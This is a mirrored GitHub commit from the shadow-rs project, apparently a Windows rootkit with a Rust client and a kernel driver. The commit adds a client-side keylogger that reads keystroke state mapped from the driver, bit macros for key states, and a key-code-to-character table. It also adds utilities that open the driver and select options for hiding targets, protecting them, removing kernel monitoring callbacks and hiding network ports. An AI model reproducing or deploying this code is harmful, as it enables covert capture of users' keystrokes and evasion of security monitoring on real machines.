mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2026-01-25 02:04:54 +01:00
feature(driver): remove loop/thread for key state reading, added VAD root offset retrieval
- Removed the loop and thread for reading key states; now the client handles this, as the driver maps the address to user mode. - Added a function to retrieve the VAD root offset. - Refactored various parts of the code for clarity and performance.
This commit is contained in:
49
client/src/utils/keylogger.rs
Normal file
49
client/src/utils/keylogger.rs
Normal file
@@ -0,0 +1,49 @@
|
||||
use super::VK_CHARS;
|
||||
use crate::{
|
||||
is_key_down, set_key_down,
|
||||
modules::misc::{KEY_PREVIOUS, KEY_RECENT, KEY_STATE}
|
||||
};
|
||||
|
||||
/// Updates the status of the keys.
|
||||
pub unsafe fn update_key_state() {
|
||||
for i in 0..256 {
|
||||
if is_key_down!(KEY_STATE, i) && !(is_key_down!(KEY_PREVIOUS, i)) {
|
||||
set_key_down!(KEY_RECENT, i, true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Checks if a key has been pressed.
|
||||
///
|
||||
/// # Parameters
|
||||
///
|
||||
/// - `key`: The key code.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `bool`: if the key was pressed, otherwise `false`.
|
||||
///
|
||||
pub unsafe fn key_pressed(key: u8) -> bool {
|
||||
let result = is_key_down!(KEY_RECENT, key);
|
||||
set_key_down!(KEY_RECENT, key, false);
|
||||
result
|
||||
}
|
||||
|
||||
/// Converts a virtual key code to a character.
|
||||
///
|
||||
/// # Parameters
|
||||
///
|
||||
/// - `key`: The code for the virtual key.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `&'static str`: A string representing the character corresponding to the code of the virtual key.
|
||||
///
|
||||
pub fn vk_to_char(key: u8) -> &'static str {
|
||||
for &(vk, char) in &VK_CHARS {
|
||||
if vk == key {
|
||||
return char;
|
||||
}
|
||||
}
|
||||
"UNKNOWN"
|
||||
}
|
||||
33
client/src/utils/macros.rs
Normal file
33
client/src/utils/macros.rs
Normal file
@@ -0,0 +1,33 @@
|
||||
// Reference: https://github.com/mirror/reactos/blob/c6d2b35ffc91e09f50dfb214ea58237509329d6b/reactos/win32ss/user/ntuser/input.h#L91
|
||||
|
||||
#[macro_export]
|
||||
macro_rules! get_ks_byte {
|
||||
($vk:expr) => {
|
||||
($vk as usize * 2 / 8)
|
||||
};
|
||||
}
|
||||
|
||||
#[macro_export]
|
||||
macro_rules! get_ks_down_bit {
|
||||
($vk:expr) => {
|
||||
1 << (($vk % 4) * 2)
|
||||
};
|
||||
}
|
||||
|
||||
#[macro_export]
|
||||
macro_rules! is_key_down {
|
||||
($ks:expr, $vk:expr) => {
|
||||
($ks[$crate::get_ks_byte!($vk)] & $crate::get_ks_down_bit!($vk)) != 0
|
||||
};
|
||||
}
|
||||
|
||||
#[macro_export]
|
||||
macro_rules! set_key_down {
|
||||
($ks:expr, $vk:expr, $down:expr) => {
|
||||
if $down {
|
||||
$ks[$crate::get_ks_byte!($vk)] |= $crate::get_ks_down_bit!($vk);
|
||||
} else {
|
||||
$ks[$crate::get_ks_byte!($vk)] &= !$crate::get_ks_down_bit!($vk);
|
||||
}
|
||||
};
|
||||
}
|
||||
418
client/src/utils/mod.rs
Normal file
418
client/src/utils/mod.rs
Normal file
@@ -0,0 +1,418 @@
|
||||
use {
|
||||
log::*,
|
||||
colored::Colorize,
|
||||
env_logger::Builder,
|
||||
sysinfo::System,
|
||||
std::{path::Path, ptr::null_mut, io::Write},
|
||||
windows_sys::{
|
||||
w,
|
||||
Win32::{
|
||||
Foundation::{
|
||||
GetLastError, GENERIC_READ, GENERIC_WRITE,
|
||||
HANDLE, INVALID_HANDLE_VALUE
|
||||
},
|
||||
Storage::FileSystem::{
|
||||
CreateFileW, FILE_ATTRIBUTE_NORMAL,
|
||||
OPEN_EXISTING,
|
||||
},
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
pub mod macros;
|
||||
pub mod keylogger;
|
||||
pub use keylogger::*;
|
||||
|
||||
pub const BANNER: &str = r#"
|
||||
_____ __ __
|
||||
/ ___// /_ ____ _____/ /___ _ __
|
||||
\__ \/ __ \/ __ `/ __ / __ \ | /| / /
|
||||
___/ / / / / /_/ / /_/ / /_/ / |/ |/ /
|
||||
/____/_/ /_/\__,_/\__,_/\____/|__/|__/
|
||||
"#;
|
||||
|
||||
/// Checks if the given file exists.
|
||||
///
|
||||
/// # Parameters
|
||||
///
|
||||
/// - `file` - A string reference representing the file path.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `true` if the file exists, `false` otherwise.
|
||||
pub fn check_file(file: &String) -> bool {
|
||||
let file = Path::new(file);
|
||||
file.exists()
|
||||
}
|
||||
|
||||
/// Opens a handle to the driver with the name `shadow`.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `Ok(HANDLE)` if the driver handle is successfully opened.
|
||||
/// - `Err(())` if there is an error.
|
||||
///
|
||||
pub fn open_driver() -> Result<HANDLE, ()> {
|
||||
info!("Opening driver handle");
|
||||
|
||||
let h_file = unsafe {
|
||||
CreateFileW(
|
||||
w!("\\\\.\\shadow"),
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
0,
|
||||
null_mut(),
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
0,
|
||||
)
|
||||
};
|
||||
|
||||
if h_file == INVALID_HANDLE_VALUE {
|
||||
error!("CreateFileW failed with error: {:?}", unsafe { GetLastError() });
|
||||
return Err(());
|
||||
}
|
||||
|
||||
info!("Driver handle successfully opened");
|
||||
Ok(h_file)
|
||||
}
|
||||
|
||||
/// Initializes the logger with the specified verbosity level.
|
||||
///
|
||||
/// # Parameters
|
||||
///
|
||||
/// - `verbose` - A `u8` representing the verbosity level.
|
||||
/// - `0` for `Info` level.
|
||||
/// - Any non-zero value for `Debug` level.
|
||||
///
|
||||
pub fn init_logger(verbose: u8) {
|
||||
let mut builder = Builder::new();
|
||||
let log_level = match verbose {
|
||||
0 => LevelFilter::Info,
|
||||
_ => LevelFilter::Debug,
|
||||
};
|
||||
|
||||
builder
|
||||
.filter(None, log_level)
|
||||
.format(|buf, record| {
|
||||
let timestamp = chrono::Local::now().format("%Y-%m-%dT%H:%M:%S");
|
||||
let level = match record.level() {
|
||||
Level::Error => "ERROR".red().bold(),
|
||||
Level::Warn => "WARN ".yellow().bold(),
|
||||
Level::Info => "INFO ".green(),
|
||||
Level::Debug => "DEBUG".bright_black(),
|
||||
Level::Trace => "TRACE".blue(),
|
||||
};
|
||||
|
||||
writeln!(buf, "[{}] {} [shadow] {}", timestamp, level, record.args())
|
||||
})
|
||||
.init();
|
||||
}
|
||||
|
||||
/// Validates that a given file has a `.sys` extension.
|
||||
///
|
||||
/// # Parameters
|
||||
///
|
||||
/// - `val` - A string slice representing the file name.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `Ok(String)` if the file has a `.sys` extension.
|
||||
/// - `Err(String)` if the file does not have a `.sys` extension.
|
||||
///
|
||||
pub fn validate_sys_extension(val: &str) -> Result<String, String> {
|
||||
if val.ends_with(".sys") {
|
||||
Ok(val.to_string())
|
||||
} else {
|
||||
Err(String::from("The driver file must have a .sys extension"))
|
||||
}
|
||||
}
|
||||
|
||||
/// Searches for the process ID (PID) of a running process by name.
|
||||
///
|
||||
/// # Parameters
|
||||
///
|
||||
/// - `name`: A reference to a string containing the name of the process to be searched.
|
||||
///
|
||||
/// # Return
|
||||
///
|
||||
/// -`Option<u32>`: Returns the PID of the process found, or `None` if no process with the specified name is found.
|
||||
///
|
||||
pub fn get_process_by_name(name: &str) -> Option<u32> {
|
||||
let mut system = System::new_all();
|
||||
system.refresh_all();
|
||||
|
||||
for (pid, process) in system.processes() {
|
||||
if process.name() == name {
|
||||
return Some(pid.as_u32());
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Enum representing different callbacks in the system.
|
||||
#[derive(clap::ValueEnum, Clone, Debug, Copy)]
|
||||
pub enum Callbacks {
|
||||
/// Callback for process creation notifications.
|
||||
Process,
|
||||
/// Callback for thread creation notifications.
|
||||
Thread,
|
||||
/// Callback for image loading notifications.
|
||||
LoadImage,
|
||||
/// Callback for registry changes.
|
||||
Registry,
|
||||
/// Callback for object processing.
|
||||
ObProcess,
|
||||
/// Callback for thread object processing.
|
||||
ObThread,
|
||||
}
|
||||
|
||||
impl Callbacks {
|
||||
/// Maps the current callback to a corresponding shared enum.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// A `shared::enums::Callbacks` variant corresponding to the selected callback.
|
||||
///
|
||||
pub fn to_shared(self) -> shared::enums::Callbacks {
|
||||
match self {
|
||||
Callbacks::Process => shared::enums::Callbacks::PsSetCreateProcessNotifyRoutine,
|
||||
Callbacks::Thread => shared::enums::Callbacks::PsSetCreateThreadNotifyRoutine,
|
||||
Callbacks::LoadImage => shared::enums::Callbacks::PsSetLoadImageNotifyRoutine,
|
||||
Callbacks::Registry => shared::enums::Callbacks::CmRegisterCallbackEx,
|
||||
Callbacks::ObProcess => shared::enums::Callbacks::ObProcess,
|
||||
Callbacks::ObThread => shared::enums::Callbacks::ObThread,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Enum representing various options.
|
||||
#[derive(clap::ValueEnum, Clone, Debug, Copy)]
|
||||
pub enum Options {
|
||||
/// Option to hide targets.
|
||||
Hide,
|
||||
/// Option to protect targets (disabled if the `mapper` feature is enabled).
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
Protection,
|
||||
}
|
||||
|
||||
impl Options {
|
||||
/// Maps the current option to a corresponding shared enum.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// A `shared::enums::Options` variant corresponding to the selected option.
|
||||
///
|
||||
pub fn to_shared(self) -> shared::enums::Options {
|
||||
match self {
|
||||
Options::Hide => shared::enums::Options::Hide,
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
Options::Protection => shared::enums::Options::Protection,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Enum representing network protocols.
|
||||
#[derive(clap::ValueEnum, Clone, Debug, Copy)]
|
||||
pub enum Protocol {
|
||||
/// Transmission Control Protocol (TCP).
|
||||
TCP,
|
||||
/// User Datagram Protocol (UDP).
|
||||
UDP,
|
||||
}
|
||||
|
||||
impl Protocol {
|
||||
/// Maps the current protocol to a corresponding shared enum.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// A `shared::enums::Protocol` variant corresponding to the selected protocol.
|
||||
///
|
||||
pub fn to_shared(self) -> shared::enums::Protocol {
|
||||
match self {
|
||||
Protocol::TCP => shared::enums::Protocol::TCP,
|
||||
Protocol::UDP => shared::enums::Protocol::UDP,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Enum representing the type of port (Local or Remote).
|
||||
#[derive(clap::ValueEnum, Clone, Debug, Copy)]
|
||||
pub enum PortType {
|
||||
/// Local port.
|
||||
LOCAL,
|
||||
/// Remote port.
|
||||
REMOTE,
|
||||
}
|
||||
|
||||
impl PortType {
|
||||
/// Maps the current port type to a corresponding shared enum.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// A `shared::enums::PortType` variant corresponding to the selected port type.
|
||||
///
|
||||
pub fn to_shared(self) -> shared::enums::PortType {
|
||||
match self {
|
||||
PortType::LOCAL => shared::enums::PortType::LOCAL,
|
||||
PortType::REMOTE => shared::enums::PortType::REMOTE,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Mapping virtual key codes to characters.
|
||||
pub const VK_CHARS: [(u8, &'static str); 153] = [
|
||||
(0x01, "LEFT MOUSE BUTTON"),
|
||||
(0x02, "RIGTH MOUSE BUTTON"),
|
||||
(0x03, "CANCEL"),
|
||||
(0x04, "MIDDLE MOUSE BUTTON"),
|
||||
(0x05, "X1 MOUSE BUTTON"),
|
||||
(0x06, "X2 MOUSE BUTTON"),
|
||||
(0x08, "BACKSPACE"),
|
||||
(0x09, "TAB"),
|
||||
(0x0C, "CLEAR"),
|
||||
(0x0D, "ENTER"),
|
||||
(0x10, "SHIFT"),
|
||||
(0x11, "CONTROL"),
|
||||
(0x12, "ALT"),
|
||||
(0x13, "PAUSE"),
|
||||
(0x14, "CAPS LOCK"),
|
||||
(0x1B, "ESCAPE"),
|
||||
(0x20, "SPACEBAR"),
|
||||
(0x21, "PAGE UP"),
|
||||
(0x22, "PAGE DOWN"),
|
||||
(0x23, "END"),
|
||||
(0x24, "HOME"),
|
||||
(0x25, "LEFT ARROW"),
|
||||
(0x26, "UP ARROW"),
|
||||
(0x27, "RIGHT ARROW"),
|
||||
(0x28, "DOWN ARROW"),
|
||||
(0x29, "SELECT"),
|
||||
(0x2A, "PRINT"),
|
||||
(0x2B, "EXECUTE"),
|
||||
(0x2C, "PRINT SCREEN"),
|
||||
(0x2D, "INSERT"),
|
||||
(0x2E, "DELETE"),
|
||||
(0x2F, "HELP"),
|
||||
(0x5B, "LEFT WINDOWS"),
|
||||
(0x5C, "RIGHT WINDOWS"),
|
||||
(0x5D, "APPLICATIONS"),
|
||||
(0x5F, "SLEEP"),
|
||||
(0x60, "NUMPAD 0"),
|
||||
(0x61, "NUMPAD 1"),
|
||||
(0x62, "NUMPAD 2"),
|
||||
(0x63, "NUMPAD 3"),
|
||||
(0x64, "NUMPAD 4"),
|
||||
(0x65, "NUMPAD 5"),
|
||||
(0x66, "NUMPAD 6"),
|
||||
(0x67, "NUMPAD 7"),
|
||||
(0x68, "NUMPAD 8"),
|
||||
(0x69, "NUMPAD 9"),
|
||||
(0x6A, "NUMPAD *"),
|
||||
(0x6B, "NUMPAD +"),
|
||||
(0x6C, "SEPARATOR"),
|
||||
(0x6D, "NUMPAD -"),
|
||||
(0x6E, "NUMPAD ."),
|
||||
(0x6F, "NUMPAD /"),
|
||||
(0x70, "F1"),
|
||||
(0x71, "F2"),
|
||||
(0x72, "F3"),
|
||||
(0x73, "F4"),
|
||||
(0x74, "F5"),
|
||||
(0x75, "F6"),
|
||||
(0x76, "F7"),
|
||||
(0x77, "F8"),
|
||||
(0x78, "F9"),
|
||||
(0x79, "F10"),
|
||||
(0x7A, "F11"),
|
||||
(0x7B, "F12"),
|
||||
(0x7C, "F13"),
|
||||
(0x7D, "F14"),
|
||||
(0x7E, "F15"),
|
||||
(0x7F, "F16"),
|
||||
(0x80, "F17"),
|
||||
(0x81, "F18"),
|
||||
(0x82, "F19"),
|
||||
(0x83, "F20"),
|
||||
(0x84, "F21"),
|
||||
(0x85, "F22"),
|
||||
(0x86, "F23"),
|
||||
(0x87, "F24"),
|
||||
(0x90, "NUM LOCK"),
|
||||
(0x91, "SCROLL LOCK"),
|
||||
(0xA6, "BROWSER BACK"),
|
||||
(0xA7, "BROWSER FORWARD"),
|
||||
(0xA8, "BROWSER REFRESH"),
|
||||
(0xA9, "BROWSER STOP"),
|
||||
(0xAA, "BROWSER SEARCH"),
|
||||
(0xAB, "BROWSER FAVORITES"),
|
||||
(0xAC, "BROWSER HOME"),
|
||||
(0xAD, "VOLUME MUTE"),
|
||||
(0xAE, "VOLUME DOWN"),
|
||||
(0xAF, "VOLUME UP"),
|
||||
(0xB0, "MEDIA NEXT TRACK"),
|
||||
(0xB1, "MEDIA PREVIOUS TRACK"),
|
||||
(0xB2, "MEDIA STOP"),
|
||||
(0xB3, "MEDIA PLAY/PAUSE"),
|
||||
(0xB4, "LAUNCH MAIL"),
|
||||
(0xB5, "MEDIA SELECT"),
|
||||
(0xB6, "LAUNCH APPLICATION 1"),
|
||||
(0xB7, "LAUNCH APPLICATION 2"),
|
||||
(0xBA, "OEM 1"),
|
||||
(0xBB, "OEM +"),
|
||||
(0xBC, "OEM ,"),
|
||||
(0xBD, "OEM -"),
|
||||
(0xBE, "OEM ."),
|
||||
(0xBF, "OEM 2"),
|
||||
(0xC0, "OEM 3"),
|
||||
(0xDB, "OEM 4"),
|
||||
(0xDC, "OEM 5"),
|
||||
(0xDD, "OEM 6"),
|
||||
(0xDE, "OEM 7"),
|
||||
(0xDF, "OEM 8"),
|
||||
(0xE2, "OEM 102"),
|
||||
(0xE5, "IME PROCESS"),
|
||||
(0xE7, "PACKET"),
|
||||
(0xF6, "ATTN"),
|
||||
(0xF7, "CRSEL"),
|
||||
(0xF8, "EXSEL"),
|
||||
(0xF9, "EREOF"),
|
||||
(0xFA, "PLAY"),
|
||||
(0xFB, "ZOOM"),
|
||||
(0x30, "0"),
|
||||
(0x31, "1"),
|
||||
(0x32, "2"),
|
||||
(0x33, "3"),
|
||||
(0x34, "4"),
|
||||
(0x35, "5"),
|
||||
(0x36, "6"),
|
||||
(0x37, "7"),
|
||||
(0x38, "8"),
|
||||
(0x39, "9"),
|
||||
(0x41, "A"),
|
||||
(0x42, "B"),
|
||||
(0x43, "C"),
|
||||
(0x44, "D"),
|
||||
(0x45, "E"),
|
||||
(0x46, "F"),
|
||||
(0x47, "G"),
|
||||
(0x48, "H"),
|
||||
(0x49, "I"),
|
||||
(0x4A, "J"),
|
||||
(0x4B, "K"),
|
||||
(0x4C, "L"),
|
||||
(0x4D, "M"),
|
||||
(0x4E, "N"),
|
||||
(0x4F, "O"),
|
||||
(0x50, "P"),
|
||||
(0x51, "Q"),
|
||||
(0x52, "R"),
|
||||
(0x53, "S"),
|
||||
(0x54, "T"),
|
||||
(0x55, "U"),
|
||||
(0x56, "V"),
|
||||
(0x57, "W"),
|
||||
(0x58, "X"),
|
||||
(0x59, "Y"),
|
||||
(0x5A, "Z"),
|
||||
];
|
||||
Reference in New Issue
Block a user